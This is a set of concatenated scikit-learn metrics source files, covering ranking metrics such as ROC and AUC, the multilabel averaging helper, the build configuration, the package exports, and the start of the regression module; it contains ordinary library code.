        feature array. If metric is a string, it must be one of the metrics
        in pairwise.PAIRWISE_KERNEL_FUNCTIONS.
        If metric is "precomputed", X is assumed to be a kernel matrix.
        Alternatively, if metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays from X as input and return a value indicating
        the distance between them.

    n_jobs : int
        The number of jobs to use for the computation. This works by breaking
        down the pairwise matrix into n_jobs even slices and computing them in
        parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    filter_params: boolean
        Whether to filter invalid parameters or not.

    `**kwds` : optional keyword parameters
        Any further parameters are passed directly to the kernel function.

    Returns
    -------
    K : array [n_samples_a, n_samples_a] or [n_samples_a, n_samples_b]
        A kernel matrix K such that K_{i, j} is the kernel between the
        ith and jth vectors of the given matrix X, if Y is None.
        If Y is not None, then K_{i, j} is the kernel between the ith array
        from X and the jth array from Y.

    Notes
    -----
    If metric is 'precomputed', Y is ignored and X is returned.

    """
    # import GPKernel locally to prevent circular imports
    from ..gaussian_process.kernels import Kernel as GPKernel

    if metric == "precomputed":
        X, _ = check_pairwise_arrays(X, Y, precomputed=True)
        return X
    elif isinstance(metric, GPKernel):
        func = metric.__call__
    elif metric in PAIRWISE_KERNEL_FUNCTIONS:
        if filter_params:
            kwds = dict((k, kwds[k]) for k in kwds
                        if k in KERNEL_PARAMS[metric])
        func = PAIRWISE_KERNEL_FUNCTIONS[metric]
    elif callable(metric):
        func = partial(_pairwise_callable, metric=metric, **kwds)
    else:
        raise ValueError("Unknown kernel %r" % metric)

    return _parallel_pairwise(X, Y, func, n_jobs, **kwds)






"""Metrics to assess performance on classification task given scores

Functions named as ``*_score`` return a scalar value to maximize: the higher
the better

Function named as ``*_error`` or ``*_loss`` return a scalar value to minimize:
the lower the better
"""

# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Arnaud Joly <a.joly@ulg.ac.be>
#          Jochen Wersdorfer <jochen@wersdoerfer.de>
#          Lars Buitinck
#          Joel Nothman <joel.nothman@gmail.com>
#          Noel Dawe <noel@dawe.me>
# License: BSD 3 clause

from __future__ import division

import warnings
import numpy as np
from scipy.sparse import csr_matrix

from ..utils import assert_all_finite
from ..utils import check_consistent_length
from ..utils import column_or_1d, check_array
from ..utils.multiclass import type_of_target
from ..utils.fixes import isclose
from ..utils.fixes import bincount
from ..utils.fixes import array_equal
from ..utils.stats import rankdata
from ..utils.sparsefuncs import count_nonzero
from ..exceptions import UndefinedMetricWarning

from .base import _average_binary_score


def auc(x, y, reorder=False):
    """Compute Area Under the Curve (AUC) using the trapezoidal rule

    This is a general function, given points on a curve.  For computing the
    area under the ROC-curve, see :func:`roc_auc_score`.

    Parameters
    ----------
    x : array, shape = [n]
        x coordinates.

    y : array, shape = [n]
        y coordinates.

    reorder : boolean, optional (default=False)
        If True, assume that the curve is ascending in the case of ties, as for
        an ROC curve. If the curve is non-ascending, the result will be wrong.

    Returns
    -------
    auc : float

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn import metrics
    >>> y = np.array([1, 1, 2, 2])
    >>> pred = np.array([0.1, 0.4, 0.35, 0.8])
    >>> fpr, tpr, thresholds = metrics.roc_curve(y, pred, pos_label=2)
    >>> metrics.auc(fpr, tpr)
    0.75

    See also
    --------
    roc_auc_score : Computes the area under the ROC curve

    precision_recall_curve :
        Compute precision-recall pairs for different probability thresholds

    """
    check_consistent_length(x, y)
    x = column_or_1d(x)
    y = column_or_1d(y)

    if x.shape[0] < 2:
        raise ValueError('At least 2 points are needed to compute'
                         ' area under curve, but x.shape = %s' % x.shape)

    direction = 1
    if reorder:
        # reorder the data points according to the x axis and using y to
        # break ties
        order = np.lexsort((y, x))
        x, y = x[order], y[order]
    else:
        dx = np.diff(x)
        if np.any(dx < 0):
            if np.all(dx <= 0):
                direction = -1
            else:
                raise ValueError("Reordering is not turned on, and "
                                 "the x array is not increasing: %s" % x)

    area = direction * np.trapz(y, x)
    if isinstance(area, np.memmap):
        # Reductions such as .sum used internally in np.trapz do not return a
        # scalar by default for numpy.memmap instances contrary to
        # regular numpy.ndarray instances.
        area = area.dtype.type(area)
    return area


def average_precision_score(y_true, y_score, average="macro",
                            sample_weight=None):
    """Compute average precision (AP) from prediction scores

    This score corresponds to the area under the precision-recall curve.

    Note: this implementation is restricted to the binary classification task
    or multilabel classification task.

    Read more in the :ref:`User Guide <precision_recall_f_measure_metrics>`.

    Parameters
    ----------
    y_true : array, shape = [n_samples] or [n_samples, n_classes]
        True binary labels in binary label indicators.

    y_score : array, shape = [n_samples] or [n_samples, n_classes]
        Target scores, can either be probability estimates of the positive
        class, confidence values, or non-thresholded measure of decisions
        (as returned by "decision_function" on some classifiers).

    average : string, [None, 'micro', 'macro' (default), 'samples', 'weighted']
        If ``None``, the scores for each class are returned. Otherwise,
        this determines the type of averaging performed on the data:

        ``'micro'``:
            Calculate metrics globally by considering each element of the label
            indicator matrix as a label.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label).
        ``'samples'``:
            Calculate metrics for each instance, and find their average.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    average_precision : float

    References
    ----------
    .. [1] `Wikipedia entry for the Average precision
           <https://en.wikipedia.org/wiki/Average_precision>`_

    See also
    --------
    roc_auc_score : Area under the ROC curve

    precision_recall_curve :
        Compute precision-recall pairs for different probability thresholds

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.metrics import average_precision_score
    >>> y_true = np.array([0, 0, 1, 1])
    >>> y_scores = np.array([0.1, 0.4, 0.35, 0.8])
    >>> average_precision_score(y_true, y_scores)  # doctest: +ELLIPSIS
    0.79...

    """
    def _binary_average_precision(y_true, y_score, sample_weight=None):
        precision, recall, thresholds = precision_recall_curve(
            y_true, y_score, sample_weight=sample_weight)
        return auc(recall, precision)

    return _average_binary_score(_binary_average_precision, y_true, y_score,
                                 average, sample_weight=sample_weight)


def roc_auc_score(y_true, y_score, average="macro", sample_weight=None):
    """Compute Area Under the Curve (AUC) from prediction scores

    Note: this implementation is restricted to the binary classification task
    or multilabel classification task in label indicator format.

    Read more in the :ref:`User Guide <roc_metrics>`.

    Parameters
    ----------
    y_true : array, shape = [n_samples] or [n_samples, n_classes]
        True binary labels in binary label indicators.

    y_score : array, shape = [n_samples] or [n_samples, n_classes]
        Target scores, can either be probability estimates of the positive
        class, confidence values, or non-thresholded measure of decisions
        (as returned by "decision_function" on some classifiers).

    average : string, [None, 'micro', 'macro' (default), 'samples', 'weighted']
        If ``None``, the scores for each class are returned. Otherwise,
        this determines the type of averaging performed on the data:

        ``'micro'``:
            Calculate metrics globally by considering each element of the label
            indicator matrix as a label.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label).
        ``'samples'``:
            Calculate metrics for each instance, and find their average.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    auc : float

    References
    ----------
    .. [1] `Wikipedia entry for the Receiver operating characteristic
            <https://en.wikipedia.org/wiki/Receiver_operating_characteristic>`_

    See also
    --------
    average_precision_score : Area under the precision-recall curve

    roc_curve : Compute Receiver operating characteristic (ROC)

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.metrics import roc_auc_score
    >>> y_true = np.array([0, 0, 1, 1])
    >>> y_scores = np.array([0.1, 0.4, 0.35, 0.8])
    >>> roc_auc_score(y_true, y_scores)
    0.75

    """
    def _binary_roc_auc_score(y_true, y_score, sample_weight=None):
        if len(np.unique(y_true)) != 2:
            raise ValueError("Only one class present in y_true. ROC AUC score "
                             "is not defined in that case.")

        fpr, tpr, tresholds = roc_curve(y_true, y_score,
                                        sample_weight=sample_weight)
        return auc(fpr, tpr, reorder=True)

    return _average_binary_score(
        _binary_roc_auc_score, y_true, y_score, average,
        sample_weight=sample_weight)


def _binary_clf_curve(y_true, y_score, pos_label=None, sample_weight=None):
    """Calculate true and false positives per binary classification threshold.

    Parameters
    ----------
    y_true : array, shape = [n_samples]
        True targets of binary classification

    y_score : array, shape = [n_samples]
        Estimated probabilities or decision function

    pos_label : int, optional (default=None)
        The label of the positive class

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    fps : array, shape = [n_thresholds]
        A count of false positives, at index i being the number of negative
        samples assigned a score >= thresholds[i]. The total number of
        negative samples is equal to fps[-1] (thus true negatives are given by
        fps[-1] - fps).

    tps : array, shape = [n_thresholds <= len(np.unique(y_score))]
        An increasing count of true positives, at index i being the number
        of positive samples assigned a score >= thresholds[i]. The total
        number of positive samples is equal to tps[-1] (thus false negatives
        are given by tps[-1] - tps).

    thresholds : array, shape = [n_thresholds]
        Decreasing score values.
    """
    check_consistent_length(y_true, y_score)
    y_true = column_or_1d(y_true)
    y_score = column_or_1d(y_score)
    assert_all_finite(y_true)
    assert_all_finite(y_score)

    if sample_weight is not None:
        sample_weight = column_or_1d(sample_weight)

    # ensure binary classification if pos_label is not specified
    classes = np.unique(y_true)
    if (pos_label is None and
        not (array_equal(classes, [0, 1]) or
             array_equal(classes, [-1, 1]) or
             array_equal(classes, [0]) or
             array_equal(classes, [-1]) or
             array_equal(classes, [1]))):
        raise ValueError("Data is not binary and pos_label is not specified")
    elif pos_label is None:
        pos_label = 1.

    # make y_true a boolean vector
    y_true = (y_true == pos_label)

    # sort scores and corresponding truth values
    desc_score_indices = np.argsort(y_score, kind="mergesort")[::-1]
    y_score = y_score[desc_score_indices]
    y_true = y_true[desc_score_indices]
    if sample_weight is not None:
        weight = sample_weight[desc_score_indices]
    else:
        weight = 1.

    # y_score typically has many tied values. Here we extract
    # the indices associated with the distinct values. We also
    # concatenate a value for the end of the curve.
    # We need to use isclose to avoid spurious repeated thresholds
    # stemming from floating point roundoff errors.
    distinct_value_indices = np.where(np.logical_not(isclose(
        np.diff(y_score), 0)))[0]
    threshold_idxs = np.r_[distinct_value_indices, y_true.size - 1]

    # accumulate the true positives with decreasing threshold
    tps = (y_true * weight).cumsum()[threshold_idxs]
    if sample_weight is not None:
        fps = weight.cumsum()[threshold_idxs] - tps
    else:
        fps = 1 + threshold_idxs - tps
    return fps, tps, y_score[threshold_idxs]


def precision_recall_curve(y_true, probas_pred, pos_label=None,
                           sample_weight=None):
    """Compute precision-recall pairs for different probability thresholds

    Note: this implementation is restricted to the binary classification task.

    The precision is the ratio ``tp / (tp + fp)`` where ``tp`` is the number of
    true positives and ``fp`` the number of false positives. The precision is
    intuitively the ability of the classifier not to label as positive a sample
    that is negative.

    The recall is the ratio ``tp / (tp + fn)`` where ``tp`` is the number of
    true positives and ``fn`` the number of false negatives. The recall is
    intuitively the ability of the classifier to find all the positive samples.

    The last precision and recall values are 1. and 0. respectively and do not
    have a corresponding threshold.  This ensures that the graph starts on the
    x axis.

    Read more in the :ref:`User Guide <precision_recall_f_measure_metrics>`.

    Parameters
    ----------
    y_true : array, shape = [n_samples]
        True targets of binary classification in range {-1, 1} or {0, 1}.

    probas_pred : array, shape = [n_samples]
        Estimated probabilities or decision function.

    pos_label : int, optional (default=None)
        The label of the positive class

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    precision : array, shape = [n_thresholds + 1]
        Precision values such that element i is the precision of
        predictions with score >= thresholds[i] and the last element is 1.

    recall : array, shape = [n_thresholds + 1]
        Decreasing recall values such that element i is the recall of
        predictions with score >= thresholds[i] and the last element is 0.

    thresholds : array, shape = [n_thresholds <= len(np.unique(probas_pred))]
        Increasing thresholds on the decision function used to compute
        precision and recall.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.metrics import precision_recall_curve
    >>> y_true = np.array([0, 0, 1, 1])
    >>> y_scores = np.array([0.1, 0.4, 0.35, 0.8])
    >>> precision, recall, thresholds = precision_recall_curve(
    ...     y_true, y_scores)
    >>> precision  # doctest: +ELLIPSIS
    array([ 0.66...,  0.5       ,  1.        ,  1.        ])
    >>> recall
    array([ 1. ,  0.5,  0.5,  0. ])
    >>> thresholds
    array([ 0.35,  0.4 ,  0.8 ])

    """
    fps, tps, thresholds = _binary_clf_curve(y_true, probas_pred,
                                             pos_label=pos_label,
                                             sample_weight=sample_weight)

    precision = tps / (tps + fps)
    recall = tps / tps[-1]

    # stop when full recall attained
    # and reverse the outputs so recall is decreasing
    last_ind = tps.searchsorted(tps[-1])
    sl = slice(last_ind, None, -1)
    return np.r_[precision[sl], 1], np.r_[recall[sl], 0], thresholds[sl]


def roc_curve(y_true, y_score, pos_label=None, sample_weight=None,
              drop_intermediate=True):
    """Compute Receiver operating characteristic (ROC)

    Note: this implementation is restricted to the binary classification task.

    Read more in the :ref:`User Guide <roc_metrics>`.

    Parameters
    ----------

    y_true : array, shape = [n_samples]
        True binary labels in range {0, 1} or {-1, 1}.  If labels are not
        binary, pos_label should be explicitly given.

    y_score : array, shape = [n_samples]
        Target scores, can either be probability estimates of the positive
        class, confidence values, or non-thresholded measure of decisions
        (as returned by "decision_function" on some classifiers).

    pos_label : int
        Label considered as positive and others are considered negative.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    drop_intermediate : boolean, optional (default=True)
        Whether to drop some suboptimal thresholds which would not appear
        on a plotted ROC curve. This is useful in order to create lighter
        ROC curves.

        .. versionadded:: 0.17
           parameter *drop_intermediate*.

    Returns
    -------
    fpr : array, shape = [>2]
        Increasing false positive rates such that element i is the false
        positive rate of predictions with score >= thresholds[i].

    tpr : array, shape = [>2]
        Increasing true positive rates such that element i is the true
        positive rate of predictions with score >= thresholds[i].

    thresholds : array, shape = [n_thresholds]
        Decreasing thresholds on the decision function used to compute
        fpr and tpr. `thresholds[0]` represents no instances being predicted
        and is arbitrarily set to `max(y_score) + 1`.

    See also
    --------
    roc_auc_score : Compute Area Under the Curve (AUC) from prediction scores

    Notes
    -----
    Since the thresholds are sorted from low to high values, they
    are reversed upon returning them to ensure they correspond to both ``fpr``
    and ``tpr``, which are sorted in reversed order during their calculation.

    References
    ----------
    .. [1] `Wikipedia entry for the Receiver operating characteristic
            <https://en.wikipedia.org/wiki/Receiver_operating_characteristic>`_


    Examples
    --------
    >>> import numpy as np
    >>> from sklearn import metrics
    >>> y = np.array([1, 1, 2, 2])
    >>> scores = np.array([0.1, 0.4, 0.35, 0.8])
    >>> fpr, tpr, thresholds = metrics.roc_curve(y, scores, pos_label=2)
    >>> fpr
    array([ 0. ,  0.5,  0.5,  1. ])
    >>> tpr
    array([ 0.5,  0.5,  1. ,  1. ])
    >>> thresholds
    array([ 0.8 ,  0.4 ,  0.35,  0.1 ])

    """
    fps, tps, thresholds = _binary_clf_curve(
        y_true, y_score, pos_label=pos_label, sample_weight=sample_weight)

    # Attempt to drop thresholds corresponding to points in between and
    # collinear with other points. These are always suboptimal and do not
    # appear on a plotted ROC curve (and thus do not affect the AUC).
    # Here np.diff(_, 2) is used as a "second derivative" to tell if there
    # is a corner at the point. Both fps and tps must be tested to handle
    # thresholds with multiple data points (which are combined in
    # _binary_clf_curve). This keeps all cases where the point should be kept,
    # but does not drop more complicated cases like fps = [1, 3, 7],
    # tps = [1, 2, 4]; there is no harm in keeping too many thresholds.
    if drop_intermediate and len(fps) > 2:
        optimal_idxs = np.where(np.r_[True,
                                      np.logical_or(np.diff(fps, 2),
                                                    np.diff(tps, 2)),
                                      True])[0]
        fps = fps[optimal_idxs]
        tps = tps[optimal_idxs]
        thresholds = thresholds[optimal_idxs]

    if tps.size == 0 or fps[0] != 0:
        # Add an extra threshold position if necessary
        tps = np.r_[0, tps]
        fps = np.r_[0, fps]
        thresholds = np.r_[thresholds[0] + 1, thresholds]

    if fps[-1] <= 0:
        warnings.warn("No negative samples in y_true, "
                      "false positive value should be meaningless",
                      UndefinedMetricWarning)
        fpr = np.repeat(np.nan, fps.shape)
    else:
        fpr = fps / fps[-1]

    if tps[-1] <= 0:
        warnings.warn("No positive samples in y_true, "
                      "true positive value should be meaningless",
                      UndefinedMetricWarning)
        tpr = np.repeat(np.nan, tps.shape)
    else:
        tpr = tps / tps[-1]

    return fpr, tpr, thresholds


def label_ranking_average_precision_score(y_true, y_score):
    """Compute ranking-based average precision

    Label ranking average precision (LRAP) is the average over each ground
    truth label assigned to each sample, of the ratio of true vs. total
    labels with lower score.

    This metric is used in multilabel ranking problem, where the goal
    is to give better rank to the labels associated to each sample.

    The obtained score is always strictly greater than 0 and
    the best value is 1.

    Read more in the :ref:`User Guide <label_ranking_average_precision>`.

    Parameters
    ----------
    y_true : array or sparse matrix, shape = [n_samples, n_labels]
        True binary labels in binary indicator format.

    y_score : array, shape = [n_samples, n_labels]
        Target scores, can either be probability estimates of the positive
        class, confidence values, or non-thresholded measure of decisions
        (as returned by "decision_function" on some classifiers).

    Returns
    -------
    score : float

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.metrics import label_ranking_average_precision_score
    >>> y_true = np.array([[1, 0, 0], [0, 0, 1]])
    >>> y_score = np.array([[0.75, 0.5, 1], [1, 0.2, 0.1]])
    >>> label_ranking_average_precision_score(y_true, y_score) \
        # doctest: +ELLIPSIS
    0.416...

    """
    check_consistent_length(y_true, y_score)
    y_true = check_array(y_true, ensure_2d=False)
    y_score = check_array(y_score, ensure_2d=False)

    if y_true.shape != y_score.shape:
        raise ValueError("y_true and y_score have different shape")

    # Handle badly formated array and the degenerate case with one label
    y_type = type_of_target(y_true)
    if (y_type != "multilabel-indicator" and
            not (y_type == "binary" and y_true.ndim == 2)):
        raise ValueError("{0} format is not supported".format(y_type))

    y_true = csr_matrix(y_true)
    y_score = -y_score

    n_samples, n_labels = y_true.shape

    out = 0.
    for i, (start, stop) in enumerate(zip(y_true.indptr, y_true.indptr[1:])):
        relevant = y_true.indices[start:stop]

        if (relevant.size == 0 or relevant.size == n_labels):
            # If all labels are relevant or unrelevant, the score is also
            # equal to 1. The label ranking has no meaning.
            out += 1.
            continue

        scores_i = y_score[i]
        rank = rankdata(scores_i, 'max')[relevant]
        L = rankdata(scores_i[relevant], 'max')
        out += (L / rank).mean()

    return out / n_samples


def coverage_error(y_true, y_score, sample_weight=None):
    """Coverage error measure

    Compute how far we need to go through the ranked scores to cover all
    true labels. The best value is equal to the average number
    of labels in ``y_true`` per sample.

    Ties in ``y_scores`` are broken by giving maximal rank that would have
    been assigned to all tied values.

    Read more in the :ref:`User Guide <coverage_error>`.

    Parameters
    ----------
    y_true : array, shape = [n_samples, n_labels]
        True binary labels in binary indicator format.

    y_score : array, shape = [n_samples, n_labels]
        Target scores, can either be probability estimates of the positive
        class, confidence values, or non-thresholded measure of decisions
        (as returned by "decision_function" on some classifiers).

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    coverage_error : float

    References
    ----------
    .. [1] Tsoumakas, G., Katakis, I., & Vlahavas, I. (2010).
           Mining multi-label data. In Data mining and knowledge discovery
           handbook (pp. 667-685). Springer US.

    """
    y_true = check_array(y_true, ensure_2d=False)
    y_score = check_array(y_score, ensure_2d=False)
    check_consistent_length(y_true, y_score, sample_weight)

    y_type = type_of_target(y_true)
    if y_type != "multilabel-indicator":
        raise ValueError("{0} format is not supported".format(y_type))

    if y_true.shape != y_score.shape:
        raise ValueError("y_true and y_score have different shape")

    y_score_mask = np.ma.masked_array(y_score, mask=np.logical_not(y_true))
    y_min_relevant = y_score_mask.min(axis=1).reshape((-1, 1))
    coverage = (y_score >= y_min_relevant).sum(axis=1)
    coverage = coverage.filled(0)

    return np.average(coverage, weights=sample_weight)


def label_ranking_loss(y_true, y_score, sample_weight=None):
    """Compute Ranking loss measure

    Compute the average number of label pairs that are incorrectly ordered
    given y_score weighted by the size of the label set and the number of
    labels not in the label set.

    This is similar to the error set size, but weighted by the number of
    relevant and irrelevant labels. The best performance is achieved with
    a ranking loss of zero.

    Read more in the :ref:`User Guide <label_ranking_loss>`.

    .. versionadded:: 0.17
       A function *label_ranking_loss*

    Parameters
    ----------
    y_true : array or sparse matrix, shape = [n_samples, n_labels]
        True binary labels in binary indicator format.

    y_score : array, shape = [n_samples, n_labels]
        Target scores, can either be probability estimates of the positive
        class, confidence values, or non-thresholded measure of decisions
        (as returned by "decision_function" on some classifiers).

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    loss : float

    References
    ----------
    .. [1] Tsoumakas, G., Katakis, I., & Vlahavas, I. (2010).
           Mining multi-label data. In Data mining and knowledge discovery
           handbook (pp. 667-685). Springer US.

    """
    y_true = check_array(y_true, ensure_2d=False, accept_sparse='csr')
    y_score = check_array(y_score, ensure_2d=False)
    check_consistent_length(y_true, y_score, sample_weight)

    y_type = type_of_target(y_true)
    if y_type not in ("multilabel-indicator",):
        raise ValueError("{0} format is not supported".format(y_type))

    if y_true.shape != y_score.shape:
        raise ValueError("y_true and y_score have different shape")

    n_samples, n_labels = y_true.shape

    y_true = csr_matrix(y_true)

    loss = np.zeros(n_samples)
    for i, (start, stop) in enumerate(zip(y_true.indptr, y_true.indptr[1:])):
        # Sort and bin the label scores
        unique_scores, unique_inverse = np.unique(y_score[i],
                                                  return_inverse=True)
        true_at_reversed_rank = bincount(
            unique_inverse[y_true.indices[start:stop]],
            minlength=len(unique_scores))
        all_at_reversed_rank = bincount(unique_inverse,
                                        minlength=len(unique_scores))
        false_at_reversed_rank = all_at_reversed_rank - true_at_reversed_rank

        # if the scores are ordered, it's possible to count the number of
        # incorrectly ordered paires in linear time by cumulatively counting
        # how many false labels of a given score have a score higher than the
        # accumulated true labels with lower score.
        loss[i] = np.dot(true_at_reversed_rank.cumsum(),
                         false_at_reversed_rank)

    n_positives = count_nonzero(y_true, axis=1)
    with np.errstate(divide="ignore", invalid="ignore"):
        loss /= ((n_labels - n_positives) * n_positives)

    # When there is no positive or no negative labels, those values should
    # be consider as correct, i.e. the ranking doesn't matter.
    loss[np.logical_or(n_positives == 0, n_positives == n_labels)] = 0.

    return np.average(loss, weights=sample_weight)






"""
Common code for all metrics

"""
# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Arnaud Joly <a.joly@ulg.ac.be>
#          Jochen Wersdorfer <jochen@wersdoerfer.de>
#          Lars Buitinck
#          Joel Nothman <joel.nothman@gmail.com>
#          Noel Dawe <noel@dawe.me>
# License: BSD 3 clause

from __future__ import division

import numpy as np

from ..utils import check_array, check_consistent_length
from ..utils.multiclass import type_of_target

from ..exceptions import UndefinedMetricWarning as _UndefinedMetricWarning
from ..utils import deprecated


@deprecated("UndefinedMetricWarning has been moved into the sklearn.exceptions"
            " module. It will not be available here from version 0.19")
class UndefinedMetricWarning(_UndefinedMetricWarning):
    pass


def _average_binary_score(binary_metric, y_true, y_score, average,
                          sample_weight=None):
    """Average a binary metric for multilabel classification

    Parameters
    ----------
    y_true : array, shape = [n_samples] or [n_samples, n_classes]
        True binary labels in binary label indicators.

    y_score : array, shape = [n_samples] or [n_samples, n_classes]
        Target scores, can either be probability estimates of the positive
        class, confidence values, or binary decisions.

    average : string, [None, 'micro', 'macro' (default), 'samples', 'weighted']
        If ``None``, the scores for each class are returned. Otherwise,
        this determines the type of averaging performed on the data:

        ``'micro'``:
            Calculate metrics globally by considering each element of the label
            indicator matrix as a label.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label).
        ``'samples'``:
            Calculate metrics for each instance, and find their average.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    binary_metric : callable, returns shape [n_classes]
        The binary metric function to use.

    Returns
    -------
    score : float or array of shape [n_classes]
        If not ``None``, average the score, else return the score for each
        classes.

    """
    average_options = (None, 'micro', 'macro', 'weighted', 'samples')
    if average not in average_options:
        raise ValueError('average has to be one of {0}'
                         ''.format(average_options))

    y_type = type_of_target(y_true)
    if y_type not in ("binary", "multilabel-indicator"):
        raise ValueError("{0} format is not supported".format(y_type))

    if y_type == "binary":
        return binary_metric(y_true, y_score, sample_weight=sample_weight)

    check_consistent_length(y_true, y_score, sample_weight)
    y_true = check_array(y_true)
    y_score = check_array(y_score)

    not_average_axis = 1
    score_weight = sample_weight
    average_weight = None

    if average == "micro":
        if score_weight is not None:
            score_weight = np.repeat(score_weight, y_true.shape[1])
        y_true = y_true.ravel()
        y_score = y_score.ravel()

    elif average == 'weighted':
        if score_weight is not None:
            average_weight = np.sum(np.multiply(
                y_true, np.reshape(score_weight, (-1, 1))), axis=0)
        else:
            average_weight = np.sum(y_true, axis=0)
        if average_weight.sum() == 0:
            return 0

    elif average == 'samples':
        # swap average_weight <-> score_weight
        average_weight = score_weight
        score_weight = None
        not_average_axis = 0

    if y_true.ndim == 1:
        y_true = y_true.reshape((-1, 1))

    if y_score.ndim == 1:
        y_score = y_score.reshape((-1, 1))

    n_classes = y_score.shape[not_average_axis]
    score = np.zeros((n_classes,))
    for c in range(n_classes):
        y_true_c = y_true.take([c], axis=not_average_axis).ravel()
        y_score_c = y_score.take([c], axis=not_average_axis).ravel()
        score[c] = binary_metric(y_true_c, y_score_c,
                                 sample_weight=score_weight)

    # Average the results
    if average is not None:
        return np.average(score, weights=average_weight)
    else:
        return score






import os
import os.path

import numpy
from numpy.distutils.misc_util import Configuration

from sklearn._build_utils import get_blas_info


def configuration(parent_package="", top_path=None):
    config = Configuration("metrics", parent_package, top_path)

    cblas_libs, blas_info = get_blas_info()
    if os.name == 'posix':
        cblas_libs.append('m')

    config.add_extension("pairwise_fast",
                         sources=["pairwise_fast.c"],
                         include_dirs=[os.path.join('..', 'src', 'cblas'),
                                       numpy.get_include(),
                                       blas_info.pop('include_dirs', [])],
                         libraries=cblas_libs,
                         extra_compile_args=blas_info.pop('extra_compile_args',
                                                          []),
                         **blas_info)
    config.add_subpackage('tests')

    return config

if __name__ == "__main__":
    from numpy.distutils.core import setup
    setup(**configuration().todict())






"""
The :mod:`sklearn.metrics` module includes score functions, performance metrics
and pairwise metrics and distance computations.
"""


from .ranking import auc
from .ranking import average_precision_score
from .ranking import coverage_error
from .ranking import label_ranking_average_precision_score
from .ranking import label_ranking_loss
from .ranking import precision_recall_curve
from .ranking import roc_auc_score
from .ranking import roc_curve

from .classification import accuracy_score
from .classification import classification_report
from .classification import cohen_kappa_score
from .classification import confusion_matrix
from .classification import f1_score
from .classification import fbeta_score
from .classification import hamming_loss
from .classification import hinge_loss
from .classification import jaccard_similarity_score
from .classification import log_loss
from .classification import matthews_corrcoef
from .classification import precision_recall_fscore_support
from .classification import precision_score
from .classification import recall_score
from .classification import zero_one_loss
from .classification import brier_score_loss

from . import cluster
from .cluster import adjusted_mutual_info_score
from .cluster import adjusted_rand_score
from .cluster import completeness_score
from .cluster import consensus_score
from .cluster import homogeneity_completeness_v_measure
from .cluster import homogeneity_score
from .cluster import mutual_info_score
from .cluster import normalized_mutual_info_score
from .cluster import fowlkes_mallows_score
from .cluster import silhouette_samples
from .cluster import silhouette_score
from .cluster import calinski_harabaz_score
from .cluster import v_measure_score

from .pairwise import euclidean_distances
from .pairwise import pairwise_distances
from .pairwise import pairwise_distances_argmin
from .pairwise import pairwise_distances_argmin_min
from .pairwise import pairwise_kernels

from .regression import explained_variance_score
from .regression import mean_absolute_error
from .regression import mean_squared_error
from .regression import median_absolute_error
from .regression import r2_score

from .scorer import make_scorer
from .scorer import SCORERS
from .scorer import get_scorer

__all__ = [
    'accuracy_score',
    'adjusted_mutual_info_score',
    'adjusted_rand_score',
    'auc',
    'average_precision_score',
    'classification_report',
    'cluster',
    'completeness_score',
    'confusion_matrix',
    'consensus_score',
    'coverage_error',
    'euclidean_distances',
    'explained_variance_score',
    'f1_score',
    'fbeta_score',
    'get_scorer',
    'hamming_loss',
    'hinge_loss',
    'homogeneity_completeness_v_measure',
    'homogeneity_score',
    'jaccard_similarity_score',
    'label_ranking_average_precision_score',
    'label_ranking_loss',
    'log_loss',
    'make_scorer',
    'matthews_corrcoef',
    'mean_absolute_error',
    'mean_squared_error',
    'median_absolute_error',
    'mutual_info_score',
    'normalized_mutual_info_score',
    'pairwise_distances',
    'pairwise_distances_argmin',
    'pairwise_distances_argmin_min',
    'pairwise_distances_argmin_min',
    'pairwise_kernels',
    'precision_recall_curve',
    'precision_recall_fscore_support',
    'precision_score',
    'r2_score',
    'recall_score',
    'roc_auc_score',
    'roc_curve',
    'SCORERS',
    'silhouette_samples',
    'silhouette_score',
    'v_measure_score',
    'zero_one_loss',
    'brier_score_loss',
]






"""Metrics to assess performance on regression task

Functions named as ``*_score`` return a scalar value to maximize: the higher
the better

Function named as ``*_error`` or ``*_loss`` return a scalar value to minimize:
the lower the better
"""

# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Arnaud Joly <a.joly@ulg.ac.be>
#          Jochen Wersdorfer <jochen@wersdoerfer.de>
#          Lars Buitinck
#          Joel Nothman <joel.nothman@gmail.com>
#          Noel Dawe <noel@dawe.me>
#          Manoj Kumar <manojkumarsivaraj334@gmail.com>
#          Michael Eickenberg <michael.eickenberg@gmail.com>
#          Konstantin Shmelkov <konstantin.shmelkov@polytechnique.edu>
# License: BSD 3 clause

from __future__ import division

import numpy as np

from ..utils.validation import check_array, check_consistent_length
